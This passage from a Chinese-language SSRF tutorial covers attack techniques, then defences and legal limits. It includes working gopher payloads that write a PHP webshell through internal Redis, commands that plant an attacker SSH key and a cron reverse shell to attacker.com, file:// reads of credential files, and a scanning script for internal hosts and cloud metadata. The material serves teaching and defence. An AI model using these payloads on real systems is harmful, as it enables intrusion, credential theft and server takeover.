\u8fd4\u56de 302 \u8df3\u8f6c\u5230 http:\/\/127.0.0.1:6379\/<\/p>\n<\/li>\n<li>\n<p>\u670d\u52a1\u7aef\u8ddf\u968f\u8df3\u8f6c&#xff0c;\u8bf7\u6c42\u4e86\u5185\u7f51 Redis<\/p>\n<\/li>\n<h4>4.5 Gopher \u534f\u8bae \u2014\u2014 \u7ec8\u6781\u6b66\u5668<\/h4>\n<p>gopher:\/\/ \u53ef\u53d1\u9001\u4efb\u610f TCP \u6570\u636e\u5305&#xff0c;\u6253\u5185\u7f51\u670d\u52a1\u3002<\/p>\n<p>\u653b\u51fb\u5185\u7f51 Redis \u5199 WebShell&#xff1a;<\/p>\n<p>\u7b49\u4ef7 Redis \u547d\u4ee4&#xff1a;<\/p>\n<p>FLUSHALL \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0  # \u6e05\u7a7a\u6570\u636e\u5e93<br \/>\nSET 1 &#034;&lt;?php &#064;eval($_POST[cmd]);?&gt;&#034; \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 # \u5199\u5165 WebShell \u5185\u5bb9<br \/>\nCONFIG SET dir \/var\/www\/html \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0  # \u8bbe\u7f6e\u4fdd\u5b58\u76ee\u5f55<br \/>\nCONFIG SET dbfilename shell.php \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 # \u8bbe\u7f6e\u4fdd\u5b58\u6587\u4ef6\u540d<br \/>\nSAVE \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 # \u4fdd\u5b58\u5230\u78c1\u76d8<\/p>\n<p>Redis \u4f7f\u7528 RESP&#xff08;REdis Serialization Protocol&#xff09;\u534f\u8bae&#xff1a;<\/p>\n<p>*1\\\\r\\\\n \u00a0 \u00a0 \u00a0 \u2192 1\u4e2a\u53c2\u6570\u7684\u547d\u4ee4<br \/>\n$8\\\\r\\\\n \u00a0 \u00a0 \u00a0 \u2192 \u4e0b\u4e00\u4e2a\u5b57\u7b26\u4e32\u957f\u5ea68<br \/>\nflushall\\\\r\\\\n \u2192 \u547d\u4ee4\u540d<\/p>\n<p>\u8f6c\u6362\u4e3a gopher payload&#xff08;URL \u7f16\u7801&#xff09;&#xff1a;<\/p>\n<p>gopher:\/\/127.0.0.1:6379\/_*1%0d%0a$8%0d%0aflushall%0d%0a<br \/>\n*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$30%0d%0a&lt;?php &#064;eval($_POST[cmd]);?&gt;%0d%0a<br \/>\n*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a\/var\/www\/html%0d%0a<br \/>\n*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a<br \/>\n*1%0d%0a$4%0d%0asave%0d%0a<\/p>\n<ul>\n<li>\n<p>%0d%0a &#061; \\\\r\\\\n&#xff08;Redis \u534f\u8bae\u6362\u884c&#xff09;<\/p>\n<\/li>\n<li>\n<p>*N &#061; N\u4e2a\u53c2\u6570<\/p>\n<\/li>\n<li>\n<p>$N &#061; \u4e0b\u4e00\u4e2a\u5b57\u7b26\u4e32\u957f\u5ea6\u4e3aN<\/p>\n<\/li>\n<\/ul>\n<p>\u653b\u51fb\u5185\u7f51 Redis \u5199 SSH \u516c\u94a5&#xff1a;<\/p>\n<p>FLUSHALL<br \/>\nSET 1 &#034;ssh-rsa AAAA&#8230;\u653b\u51fb\u8005\u516c\u94a5&#8230;&#034;<br \/>\nCONFIG SET dir \/root\/.ssh<br \/>\nCONFIG SET dbfilename authorized_keys<br \/>\nSAVE<\/p>\n<p>\u653b\u51fb\u5185\u7f51 Redis \u5199\u8ba1\u5212\u4efb\u52a1&#xff1a;<\/p>\n<p>SET 1 &#034;\\\\n\\\\n*\/1 * * * * bash -i &gt;&amp; \/dev\/tcp\/attacker.com\/4444 0&gt;&amp;1\\\\n\\\\n&#034;<br \/>\nCONFIG SET dir \/var\/spool\/cron<br \/>\nCONFIG SET dbfilename root<br \/>\nSAVE<\/p>\n<p>\u653b\u51fb\u5185\u7f51 MySQL&#xff1a;\u6784\u9020 MySQL \u534f\u8bae\u63e1\u624b\u5305\u548c\u67e5\u8be2\u8bed\u53e5\u3002<\/p>\n<p>\u653b\u51fb\u5185\u7f51 FastCGI&#xff1a;\u6784\u9020 FastCGI \u534f\u8bae\u5305&#xff0c;\u8ba9 PHP-FPM \u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002<\/p>\n<h4>4.6 file \u534f\u8bae\u8bfb\u654f\u611f\u6587\u4ef6<\/h4>\n<p>file:\/\/\/etc\/passwd \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0  # \u7528\u6237\u5217\u8868<br \/>\nfile:\/\/\/etc\/shadow \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0  # \u5bc6\u7801\u54c8\u5e0c&#xff08;\u9700 root&#xff09;<br \/>\nfile:\/\/\/proc\/self\/environ \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 # \u73af\u5883\u53d8\u91cf&#xff08;\u53ef\u80fd\u542b\u5bc6\u94a5&#xff09;<br \/>\nfile:\/\/\/proc\/self\/cmdline \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 # \u8fdb\u7a0b\u542f\u52a8\u547d\u4ee4<br \/>\nfile:\/\/\/var\/www\/html\/config.php \u00a0 \u00a0 \u00a0 # \u5e94\u7528\u914d\u7f6e&#xff08;\u6570\u636e\u5e93\u5bc6\u7801&#xff09;<br \/>\nfile:\/\/\/var\/www\/html\/.env \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0  # Laravel \u73af\u5883\u914d\u7f6e<br \/>\nfile:\/\/\/root\/.ssh\/id_rsa \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0  # SSH \u79c1\u94a5<br \/>\nfile:\/\/\/c:\/windows\/win.ini \u00a0 \u00a0 \u00a0 \u00a0 \u00a0  # Windows \u7cfb\u7edf\u6587\u4ef6<\/p>\n<h4>4.7 SSRF \u81ea\u52a8\u5316\u63a2\u6d4b\u811a\u672c<\/h4>\n<p>import requests<br \/>\nimport time<br \/>\n\u200b<br \/>\ntarget &#061; &#034;http:\/\/localhost:8080\/fetch.php?url&#061;&#034;<br \/>\n\u200b<br \/>\n# \u63a2\u6d4b\u5e38\u89c1\u5185\u7f51\u7aef\u53e3<br \/>\nports &#061; [22, 80, 443, 3306, 6379, 8080, 8443, 9200, 11211, 27017]<br \/>\nfor port in ports:<br \/>\n \u00a0 \u00a0url &#061; f&#034;{target}http:\/\/127.0.0.1:{port}\/&#034;<br \/>\n \u00a0 \u00a0try:<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0start &#061; time.time()<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0r &#061; requests.get(url, timeout&#061;3)<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0elapsed &#061; time.time() &#8211; start<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0print(f&#034;[&#043;] Port {port}: {r.status_code} ({elapsed:.1f}s) &#8211; {r.text[:80]}&#034;)<br \/>\n \u00a0 \u00a0except requests.exceptions.ConnectionError:<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0print(f&#034;[-] Port {port}: \u5173\u95ed&#034;)<br \/>\n \u00a0 \u00a0except requests.exceptions.Timeout:<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0print(f&#034;[!] Port {port}: \u8d85\u65f6&#xff08;\u53ef\u80fd\u5f00\u653e&#xff0c;\u9700\u8fdb\u4e00\u6b65\u63a2\u6d4b&#xff09;&#034;)<br \/>\n\u200b<br \/>\n# \u626b\u63cf\u5185\u7f51\u7f51\u6bb5<br \/>\nprint(&#034;\\\\n&#061;&#061;&#061; \u5185\u7f51\u4e3b\u673a\u626b\u63cf &#061;&#061;&#061;&#034;)<br \/>\nfor i in range(1, 255):<br \/>\n \u00a0 \u00a0url &#061; f&#034;{target}http:\/\/192.168.1.{i}\/&#034;<br \/>\n \u00a0 \u00a0try:<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0r &#061; requests.get(url, timeout&#061;1)<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0if r.status_code &#061;&#061; 200:<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0print(f&#034;[&#043;] 192.168.1.{i}: \u5b58\u6d3b ({r.text[:50]})&#034;)<br \/>\n \u00a0 \u00a0except:<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0pass<br \/>\n\u200b<br \/>\n# \u8bfb\u53d6\u4e91\u5143\u6570\u636e<br \/>\nprint(&#034;\\\\n&#061;&#061;&#061; \u4e91\u5143\u6570\u636e &#061;&#061;&#061;&#034;)<br \/>\ncloud_urls &#061; [<br \/>\n \u00a0  (&#034;AWS&#034;, &#034;http:\/\/169.254.169.254\/latest\/meta-data\/&#034;),<br \/>\n \u00a0  (&#034;\u963f\u91cc\u4e91&#034;, &#034;http:\/\/100.100.100.200\/latest\/meta-data\/&#034;),<br \/>\n]<br \/>\nfor name, cloud_url in cloud_urls:<br \/>\n \u00a0 \u00a0url &#061; f&#034;{target}{cloud_url}&#034;<br \/>\n \u00a0 \u00a0try:<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0r &#061; requests.get(url, timeout&#061;3)<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0if r.status_code &#061;&#061; 200 and r.text:<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0print(f&#034;[&#043;] {name} \u5143\u6570\u636e: {r.text[:100]}&#034;)<br \/>\n \u00a0 \u00a0except:<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0pass<\/p>\n<h4>4.8 SSRF \u5de5\u5177<\/h4>\n<p># SSRFmap<br \/>\npython3 ssrfmap.py -r request.txt -p url -m readfiles<br \/>\n\u200b<br \/>\n# Gopherus&#xff08;\u751f\u6210 gopher payload&#xff09;<br \/>\npython3 gopherus.py &#8211;exploit redis<br \/>\n\u200b<br \/>\n# server-side-request-forgery&#xff08;\u81ea\u52a8\u5316\u68c0\u6d4b&#xff09;<br \/>\n# \u4f7f\u7528 BurpSuite \u63d2\u4ef6 Collaborator \u68c0\u6d4b Blind SSRF<\/p>\n<h4>4.9 SSRF \u6d4b\u8bd5\u65b9\u6cd5\u8bba<\/h4>\n<p>\u6b65\u9aa41&#xff1a;\u8bc6\u522b\u53ef\u63a7 URL \u8f93\u5165\u70b9<br \/>\n  &#8211; \u5168\u5c40\u641c\u7d22 url \u53c2\u6570<br \/>\n  &#8211; \u68c0\u67e5\u56fe\u7247\u9884\u89c8\u3001\u7ffb\u8bd1\u3001\u5bfc\u5165\u7b49\u529f\u80fd<br \/>\n  &#8211; \u68c0\u67e5 Webhook \u914d\u7f6e<br \/>\n\u200b<br \/>\n\u6b65\u9aa42&#xff1a;\u6d4b\u8bd5\u534f\u8bae<br \/>\n  &#8211; http:\/\/ \u2192 \u63a2\u6d4b\u5185\u7f51<br \/>\n  &#8211; file:\/\/ \u2192 \u8bfb\u6587\u4ef6<br \/>\n  &#8211; gopher:\/\/ \u2192 \u6253\u5185\u7f51\u670d\u52a1<br \/>\n  &#8211; dict:\/\/ \u2192 \u7aef\u53e3\u63a2\u6d4b<br \/>\n\u200b<br \/>\n\u6b65\u9aa43&#xff1a;\u7ed5\u8fc7 IP \u9650\u5236<br \/>\n  &#8211; \u5341\u8fdb\u5236\/\u516b\u8fdb\u5236\/\u5341\u516d\u8fdb\u5236<br \/>\n  &#8211; DNS \u91cd\u7ed1\u5b9a<br \/>\n  &#8211; 302 \u8df3\u8f6c<br \/>\n\u200b<br \/>\n\u6b65\u9aa44&#xff1a;\u6df1\u5165\u5229\u7528<br \/>\n  &#8211; \u4e91\u5143\u6570\u636e\u6cc4\u9732<br \/>\n  &#8211; \u5185\u7f51 Redis\/MySQL \u653b\u51fb<br \/>\n  &#8211; \u5185\u7f51 Web \u5e94\u7528\u653b\u51fb<\/p>\n<hr \/>\n<h3>\u7b2c\u4e94\u7ae0&#xff1a;\u9632\u5fa1\u4e0e\u907f\u9669<\/h3>\n<h4>5.1 \u767d\u540d\u5355\u9650\u5236\u76ee\u6807&#xff08;\u6700\u53ef\u9760&#xff09;<\/h4>\n<p>from urllib.parse import urlparse<br \/>\n\u200b<br \/>\nALLOWED_DOMAINS &#061; {&#039;api.partner.com&#039;, &#039;cdn.example.com&#039;}<br \/>\nALLOWED_SCHEMES &#061; {&#039;http&#039;, &#039;https&#039;} \u00a0 \u00a0# \u7981\u6b62 file\/gopher\/dict<br \/>\n\u200b<br \/>\ndef is_safe_url(url):<br \/>\n \u00a0 \u00a0p &#061; urlparse(url)<br \/>\n\u200b<br \/>\n \u00a0 \u00a0# 1. \u53ea\u5141\u8bb8 http\/https \u534f\u8bae<br \/>\n \u00a0 \u00a0if p.scheme not in ALLOWED_SCHEMES:<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0return False, &#039;\u975e\u6cd5\u534f\u8bae&#039;<br \/>\n\u200b<br \/>\n \u00a0 \u00a0# 2. \u53ea\u5141\u8bb8\u767d\u540d\u5355\u57df\u540d<br \/>\n \u00a0 \u00a0if p.hostname not in ALLOWED_DOMAINS:<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0return False, &#039;\u975e\u6cd5\u57df\u540d&#039;<br \/>\n\u200b<br \/>\n \u00a0 \u00a0# 3. \u4e0d\u5141\u8bb8\u5305\u542b &#064; \u7b26\u53f7&#xff08;\u9632\u6df7\u6dc6&#xff09;<br \/>\n \u00a0 \u00a0if &#039;&#064;&#039; in url:<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0return False, &#039;URL \u5305\u542b\u975e\u6cd5\u5b57\u7b26&#039;<br \/>\n\u200b<br \/>\n \u00a0 \u00a0return True, &#039;OK&#039;<\/p>\n<h4>5.2 \u89e3\u6790\u540e\u6821\u9a8c\u771f\u5b9e IP&#xff08;\u9632 DNS \u91cd\u7ed1\u5b9a&#xff09;<\/h4>\n<p>import ipaddress<br \/>\nimport socket<br \/>\nfrom urllib.parse import urlparse<br \/>\n\u200b<br \/>\ndef is_internal_ip(ip_str):<br \/>\n \u00a0 \u00a0&#034;&#034;&#034;\u5224\u65ad\u662f\u5426\u4e3a\u5185\u7f51\/\u4fdd\u7559 IP&#034;&#034;&#034;<br \/>\n \u00a0 \u00a0ip &#061; ipaddress.ip_address(ip_str)<br \/>\n \u00a0 \u00a0return (<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0ip.is_private or \u00a0 \u00a0 \u00a0 \u00a0# 10.x.x.x, 172.16-31.x.x, 192.168.x.x<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0ip.is_loopback or \u00a0 \u00a0 \u00a0 # 127.x.x.x<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0ip.is_reserved or \u00a0 \u00a0 \u00a0 # \u4fdd\u7559\u5730\u5740<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0ip.is_multicast or \u00a0 \u00a0 \u00a0# \u591a\u64ad<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0ip.is_link_local or \u00a0 \u00a0 # 169.254.x.x&#xff08;\u4e91\u5143\u6570\u636e&#xff09;<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0ip in ipaddress.ip_network(&#039;100.64.0.0\/10&#039;) \u00a0# \u8fd0\u8425\u5546\u5185\u7f51<br \/>\n \u00a0  )<br \/>\n\u200b<br \/>\ndef safe_fetch(url):<br \/>\n \u00a0 \u00a0p &#061; urlparse(url)<br \/>\n \u00a0 \u00a0if p.scheme not in (&#039;http&#039;, &#039;https&#039;):<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0raise ValueError(&#039;\u975e\u6cd5\u534f\u8bae&#039;)<br \/>\n\u200b<br \/>\n \u00a0 \u00a0# \u89e3\u6790\u57df\u540d\u83b7\u53d6 IP<br \/>\n \u00a0 \u00a0ip &#061; socket.gethostbyname(p.hostname)<br \/>\n\u200b<br \/>\n \u00a0 \u00a0# \u6821\u9a8c IP \u4e0d\u662f\u5185\u7f51<br \/>\n \u00a0 \u00a0if is_internal_ip(ip):<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0raise ValueError(&#039;\u7981\u6b62\u8bbf\u95ee\u5185\u7f51\u5730\u5740&#039;)<br \/>\n\u200b<br \/>\n \u00a0 \u00a0# \u2705 \u5173\u952e&#xff1a;\u7528 IP \u76f4\u63a5\u8fde\u63a5&#xff0c;\u907f\u514d\u518d\u6b21 DNS \u89e3\u6790&#xff08;\u9632\u91cd\u7ed1\u5b9a&#xff09;<br \/>\n \u00a0 \u00a0response &#061; requests.get(<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0url,<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0headers&#061;{&#039;Host&#039;: p.hostname},<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0allow_redirects&#061;False, \u00a0 \u00a0# \u7981\u6b62\u8ddf\u968f\u8df3\u8f6c&#xff08;\u9632 302 \u7ed5\u8fc7&#xff09;<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0timeout&#061;5<br \/>\n \u00a0  )<br \/>\n\u200b<br \/>\n \u00a0 \u00a0# \u68c0\u67e5\u662f\u5426\u88ab\u91cd\u5b9a\u5411<br \/>\n \u00a0 \u00a0if 300 &lt;&#061; response.status_code &lt; 400:<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0raise ValueError(&#039;\u68c0\u6d4b\u5230\u8df3\u8f6c&#xff0c;\u5df2\u62e6\u622a&#039;)<br \/>\n\u200b<br \/>\n \u00a0 \u00a0return response<\/p>\n<h4>5.3 \u7981\u7528\u5371\u9669\u534f\u8bae<\/h4>\n<p>\u53ea\u5141\u8bb8 http\/https&#xff0c;\u7981\u6b62 file\u3001gopher\u3001dict\u3001ftp&#xff1a;<\/p>\n<p>if p.scheme not in (&#039;http&#039;, &#039;https&#039;):<br \/>\n \u00a0 \u00a0raise ValueError(&#039;\u53ea\u5141\u8bb8 http\/https \u534f\u8bae&#039;)<\/p>\n<h4>5.4 \u7981\u6b62\u8ddf\u968f\u8df3\u8f6c<\/h4>\n<p>response &#061; requests.get(url, allow_redirects&#061;False)<br \/>\nif 300 &lt;&#061; response.status_code &lt; 400:<br \/>\n \u00a0 \u00a0raise ValueError(&#039;\u68c0\u6d4b\u5230\u8df3\u8f6c&#xff0c;\u5df2\u62e6\u622a&#039;)<\/p>\n<h4>5.5 \u7f51\u7edc\u5c42\u9694\u79bb<\/h4>\n<p>&#8211; \u5e94\u7528\u670d\u52a1\u5668\u4e0e\u5185\u7f51\u5173\u952e\u670d\u52a1&#xff08;Redis\u3001MySQL\u3001\u7ba1\u7406\u9762\u677f&#xff09;\u7f51\u7edc\u9694\u79bb<br \/>\n&#8211; \u51fa\u7ad9\u6d41\u91cf\u767d\u540d\u5355&#xff1a;\u53ea\u5141\u8bb8\u8bbf\u95ee\u5fc5\u8981\u7684\u767d\u540d\u5355\u5730\u5740<br \/>\n&#8211; \u4f7f\u7528\u5b89\u5168\u7ec4\/\u9632\u706b\u5899\u89c4\u5219\u9650\u5236\u51fa\u7ad9<br \/>\n&#8211; Redis\/Memcached \u4e0d\u76d1\u542c\u516c\u7f51\u63a5\u53e3&#xff0c;\u9700\u8981\u8ba4\u8bc1<\/p>\n<h4>5.6 \u4e91\u73af\u5883\u542f\u7528 IMDSv2<\/h4>\n<p># \u8bbe\u7f6e IMDSv2 \u4e3a\u5fc5\u9700&#xff08;PUT \u8bf7\u6c42\u9700\u8981 Token \u5934&#xff09;<br \/>\naws ec2 modify-instance-metadata-options \\\\<br \/>\n \u00a0 \u00a0&#8211;instance-id i-xxx \\\\<br \/>\n \u00a0 \u00a0&#8211;http-tokens required \\\\<br \/>\n \u00a0 \u00a0&#8211;http-endpoint enabled<\/p>\n<p>IMDSv2 \u8981\u6c42\u5148 PUT \u8bf7\u6c42\u83b7\u53d6 Session Token&#xff0c;\u518d\u7528 Token \u8bbf\u95ee\u5143\u6570\u636e\u3002SSRF \u901a\u5e38\u53ea\u80fd\u53d1 GET \u8bf7\u6c42&#xff0c;\u56e0\u6b64 IMDSv2 \u6709\u6548\u7f13\u89e3\u4e86\u5143\u6570\u636e\u6cc4\u9732\u3002<\/p>\n<h4>5.7 \u9632\u5fa1\u603b\u7ed3<\/h4>\n<table>\n<tr>\u9632\u5fa1\u5c42\u63aa\u65bd\u6548\u679c\u6ce8\u610f<\/tr>\n<tbody>\n<tr>\n<td>\u767d\u540d\u5355\u57df\u540d<\/td>\n<td>\u53ea\u5141\u8bb8\u9884\u5b9a\u4e49\u57df\u540d<\/td>\n<td>\u2605\u2605\u2605\u2605\u2605<\/td>\n<td>\u6700\u53ef\u9760<\/td>\n<\/tr>\n<tr>\n<td>\u6821\u9a8c\u771f\u5b9e IP<\/td>\n<td>\u89e3\u6790\u540e\u68c0\u67e5\u975e\u5185\u7f51<\/td>\n<td>\u2605\u2605\u2605\u2605\u2605<\/td>\n<td>\u9632\u91cd\u7ed1\u5b9a<\/td>\n<\/tr>\n<tr>\n<td>\u7981\u7528\u5371\u9669\u534f\u8bae<\/td>\n<td>\u53ea\u5141\u8bb8 http\/https<\/td>\n<td>\u2605\u2605\u2605\u2605\u2605<\/td>\n<td>\u9632 file\/gopher<\/td>\n<\/tr>\n<tr>\n<td>\u7981\u6b62\u8df3\u8f6c<\/td>\n<td>\u4e0d\u8ddf\u968f 302<\/td>\n<td>\u2605\u2605\u2605\u2605<\/td>\n<td>\u9632 302 \u7ed5\u8fc7<\/td>\n<\/tr>\n<tr>\n<td>\u7f51\u7edc\u9694\u79bb<\/td>\n<td>\u5185\u7f51\u4e0d\u53ef\u8fbe<\/td>\n<td>\u2605\u2605\u2605\u2605<\/td>\n<td>\u67b6\u6784\u5c42<\/td>\n<\/tr>\n<tr>\n<td>IMDSv2<\/td>\n<td>\u4e91\u5143\u6570\u636e\u9700 Token<\/td>\n<td>\u2605\u2605\u2605\u2605<\/td>\n<td>\u4e91\u73af\u5883\u5fc5\u9700<\/td>\n<\/tr>\n<tr>\n<td>Redis \u8ba4\u8bc1<\/td>\n<td>\u8bbe\u7f6e\u5bc6\u7801<\/td>\n<td>\u2605\u2605\u2605\u2605<\/td>\n<td>\u5373\u4f7f\u88ab\u6253\u4e5f\u65e0\u6cd5\u64cd\u4f5c<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4>5.8 \u5b89\u5168\u7f16\u7801 Checklist<\/h4>\n<ul>\n<li>URL \u662f\u5426\u9650\u5236\u5728\u767d\u540d\u5355\u57df\u540d&#xff1f;<\/li>\n<li>\u662f\u5426\u6821\u9a8c\u4e86\u89e3\u6790\u540e\u7684\u771f\u5b9e IP&#xff1f;<\/li>\n<li>\u662f\u5426\u7981\u7528\u4e86 file\/gopher\/dict \u534f\u8bae&#xff1f;<\/li>\n<li>\u662f\u5426\u7981\u6b62\u4e86 302 \u8df3\u8f6c&#xff1f;<\/li>\n<li>\u662f\u5426\u6821\u9a8c\u540e\u76f4\u63a5\u7528 IP \u8fde\u63a5&#xff08;\u9632 DNS \u91cd\u7ed1\u5b9a&#xff09;&#xff1f;<\/li>\n<li>\u4e91\u73af\u5883\u662f\u5426\u542f\u7528\u4e86 IMDSv2&#xff1f;<\/li>\n<li>\u5185\u7f51\u670d\u52a1\u662f\u5426\u7f51\u7edc\u9694\u79bb&#xff1f;<\/li>\n<li>Redis\/Memcached \u662f\u5426\u8bbe\u7f6e\u4e86\u8ba4\u8bc1&#xff1f;<\/li>\n<li>\u662f\u5426\u6709\u51fa\u7ad9\u6d41\u91cf\u767d\u540d\u5355&#xff1f;<\/li>\n<\/ul>\n<hr \/>\n<h3>\u7b2c\u516d\u7ae0&#xff1a;\u6cd5\u5f8b\u5408\u89c4\u4e0e\u907f\u9669<\/h3>\n<h4>6.1 \u5408\u6cd5\u884c\u4e3a<\/h4>\n<ul>\n<li>\n<p>\u2705 \u5728\u672c\u5730\u9776\u573a\u7ec3\u4e60 SSRF<\/p>\n<\/li>\n<li>\n<p>\u2705 \u5bf9\u81ea\u5df1\u62e5\u6709\u7684\u7f51\u7ad9\u6d4b\u8bd5<\/p>\n<\/li>\n<li>\n<p>\u2705 \u4e66\u9762\u6388\u6743\u8303\u56f4\u5185\u7684\u6e17\u900f\u6d4b\u8bd5<\/p>\n<\/li>\n<li>\n<p>\u2705 \u5728\u81ea\u5df1\u7684\u4e91\u8d26\u53f7\u4e2d\u6d4b\u8bd5\u5143\u6570\u636e<\/p>\n<\/li>\n<\/ul>\n<h4>6.2 \u8fdd\u6cd5\u884c\u4e3a<\/h4>\n<ul>\n<li>\n<p>\u274c \u5229\u7528 SSRF \u8bbf\u95ee\u4ed6\u4eba\u5185\u7f51<\/p>\n<\/li>\n<li>\n<p>\u274c \u7a83\u53d6\u4e91\u5e73\u53f0\u4e34\u65f6\u51ed\u8bc1<\/p>\n<\/li>\n<li>\n<p>\u274c \u901a\u8fc7 SSRF \u653b\u51fb\u5185\u7f51\u6570\u636e\u5e93<\/p>\n<\/li>\n<li>\n<p>\u274c \u901a\u8fc7 SSRF \u8bfb\u53d6\u4ed6\u4eba\u670d\u52a1\u5668\u6587\u4ef6<\/p>\n<\/li>\n<li>\n<p>\u274c \u901a\u8fc7 gopher \u534f\u8bae\u653b\u51fb\u5185\u7f51\u670d\u52a1<\/p>\n<\/li>\n<\/ul>\n<h4>6.3 \u6d89\u53ca\u6cd5\u5f8b<\/h4>\n<table>\n<tr>\u6cd5\u5f8b\u6761\u6b3e\u8bf4\u660e\u5211\u7f5a<\/tr>\n<tbody>\n<tr>\n<td>\u5211\u6cd5<\/td>\n<td>\u7b2c285\u6761<\/td>\n<td>\u975e\u6cd5\u4fb5\u5165\/\u83b7\u53d6\u8ba1\u7b97\u673a\u4fe1\u606f\u7cfb\u7edf\u6570\u636e\u7f6a<\/td>\n<td>\u4e09\u5e74\u4ee5\u4e0b\u81f3\u4e03\u5e74\u4ee5\u4e0b<\/td>\n<\/tr>\n<tr>\n<td>\u5211\u6cd5<\/td>\n<td>\u7b2c286\u6761<\/td>\n<td>\u7834\u574f\u8ba1\u7b97\u673a\u4fe1\u606f\u7cfb\u7edf\u7f6a<\/td>\n<td>\u4e94\u5e74\u4ee5\u4e0b\u81f3\u4e94\u5e74\u4ee5\u4e0a<\/td>\n<\/tr>\n<tr>\n<td>\u7f51\u7edc\u5b89\u5168\u6cd5<\/td>\n<td>\u7b2c27\u6761<\/td>\n<td>\u4e0d\u5f97\u975e\u6cd5\u4fb5\u5165\u4ed6\u4eba\u7f51\u7edc<\/td>\n<td>\u2014<\/td>\n<\/tr>\n<tr>\n<td>\u6570\u636e\u5b89\u5168\u6cd5<\/td>\n<td>\u76f8\u5173\u6761\u6b3e<\/td>\n<td>\u975e\u6cd5\u83b7\u53d6\u6570\u636e<\/td>\n<td>\u2014<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4>6.4 \u771f\u5b9e\u6848\u4f8b\u8b66\u793a<\/h4>\n<ul>\n<li>\n<p>Capital One&#xff08;2019&#xff09;&#xff1a;SSRF \u8bfb\u53d6 AWS \u5143\u6570\u636e \u2192 1 \u4ebf\u7528\u6237\u6570\u636e\u6cc4\u9732 \u2192 8000 \u4e07\u7f8e\u5143\u7f5a\u6b3e<\/p>\n<\/li>\n<li>\n<p>GitHub&#xff08;2015&#xff09;&#xff1a;SSRF \u6f0f\u6d1e\u5bfc\u81f4\u5185\u7f51\u63a2\u6d4b<\/p>\n<\/li>\n<li>\n<p>\u591a\u4e2a\u4e91\u5e73\u53f0\u7528\u6237&#xff1a;SSRF &#043; \u5143\u6570\u636e \u2192 \u4e91\u8d44\u6e90\u88ab\u5b8c\u5168\u63a7\u5236<\/p>\n<\/li>\n<\/ul>\n<h4>6.5 \u81ea\u6211\u4fdd\u62a4\u5efa\u8bae<\/h4>\n<li>\n<p>SSRF \u7ec3\u4e60\u53ea\u5728\u672c\u5730 Docker \u9776\u573a\u4e2d\u8fdb\u884c<\/p>\n<\/li>\n<li>\n<p>\u4e91\u73af\u5883\u6d4b\u8bd5\u53ea\u5728\u81ea\u5df1\u7684\u4e91\u8d26\u53f7\u4e2d\u8fdb\u884c<\/p>\n<\/li>\n<li>\n<p>\u53d1\u73b0\u771f\u5b9e\u7f51\u7ad9 SSRF \u2192 \u62a5\u544a SRC&#xff0c;\u4e0d\u81ea\u884c\u63a2\u6d4b\u5185\u7f51<\/p>\n<\/li>\n<li>\n<p>\u4e0d\u7a83\u53d6\u4e91\u5e73\u53f0\u4e34\u65f6\u51ed\u8bc1<\/p>\n<\/li>\n<li>\n<p>\u4e0d\u7528 gopher \u534f\u8bae\u653b\u51fb\u4ed6\u4eba\u7684\u5185\u7f51\u670d\u52a1<\/p>\n<\/li>\n<h4>6.6 \u6f0f\u6d1e\u62a5\u544a\u6d41\u7a0b<\/h4>\n<p>1. \u53d1\u73b0 SSRF \u2192 